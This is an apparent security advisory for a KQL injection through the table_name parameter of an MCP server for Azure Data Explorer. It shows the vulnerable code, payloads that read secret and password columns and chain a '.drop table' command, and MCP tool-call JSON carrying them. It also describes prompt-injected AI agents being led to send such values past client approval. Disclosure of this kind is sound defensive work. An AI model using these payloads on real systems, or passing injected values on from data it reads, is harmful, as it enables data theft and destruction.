Share
## https://sploitus.com/exploit?id=A690E7CB-1D5C-5A24-B35F-E2C48A70E1E7
# CVE-2026-33980 โ€” KQL Injection in adx-mcp-server via table_name parameter

**Severity**: High (CVSS 8.8)
**CWE**: CWE-943 โ€” Improper Neutralization of Special Elements in Data Query Logic
**Affected**: `adx-mcp-server` <= 0.1.0 (commit 48b2933)
**Advisory**: [GHSA](https://github.com/pab1it0/adx-mcp-server/security/advisories)
**NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-33980

---

## TL;DR

Three MCP tools in `adx-mcp-server` interpolate the `table_name` parameter directly into KQL (Kusto Query Language) queries via f-strings. An attacker or prompt-injected AI agent can read any table in the Azure Data Explorer cluster, execute management commands (`.drop table`), or run arbitrary analytics queries โ€” bypassing the trust boundary between "safe" metadata tools and the raw `execute_query` tool.

---

## Affected component

**File**: `src/adx_mcp_server/server.py`

```python
# Line 228 โ€” get_table_schema
query = f"{table_name} | getschema"

# Line 248 โ€” sample_table_data
query = f"{table_name} | sample {sample_size}"

# Line 268 โ€” get_table_details
query = f".show table {table_name} details"
```

All three pass `table_name` from the MCP tool arguments directly into `client.execute(config.database, query)` with no validation.

---

## Root cause

KQL allows piping query operators with `|` and executing management commands prefixed with `.`. The `//` character starts a line comment. This makes f-string interpolation trivially injectable:

- `f"{table_name} | getschema"` โ†’ append `| project Secret //` to comment out `| getschema`
- `f".show table {table_name} details"` โ†’ inject `\n.drop table` to chain a management command

**Why this matters beyond a raw `execute_query` tool**: MCP clients often differentiate between "safe" read-only tools (auto-approved) and raw execution tools (require confirmation). The injection targets the "safe" metadata tools, bypassing the approval boundary.

---

## PoC

See [`poc.py`](./poc.py) for a full demonstration. Core payloads:

```python
# Data exfiltration via get_table_schema
# f"{table_name} | getschema" becomes:
# "sensitive_data | project Secret, Password | take 100 // | getschema"
# โ†’ // comments out "| getschema"; query reads sensitive_data columns
table_name = "sensitive_data | project Secret, Password | take 100 //"

# Destructive management command via get_table_details
# f".show table {table_name} details" becomes:
# ".show table users details\n.drop table critical_data details"
table_name = "users details\n.drop table critical_data"
```

**MCP tool calls:**

```json
{"name": "get_table_schema", "arguments": {"table_name": "sensitive_data | project Secret, Password | take 100 //"}}
{"name": "get_table_details", "arguments": {"table_name": "users details\n.drop table critical_data"}}
```

---

## Impact

1. **Data exfiltration** โ€” read any table in the Azure Data Explorer database
2. **Data destruction** โ€” management commands like `.drop table`, `.drop extents`
3. **Prompt injection amplification** โ€” an AI agent processing attacker-controlled data in ADX can be manipulated into passing malicious `table_name` values, turning prompt injection into full data access

---

## Timeline

- **Discovery**: 2026-03-xx
- **Reported**: GHSA private advisory
- **CVE published**: CVE-2026-33980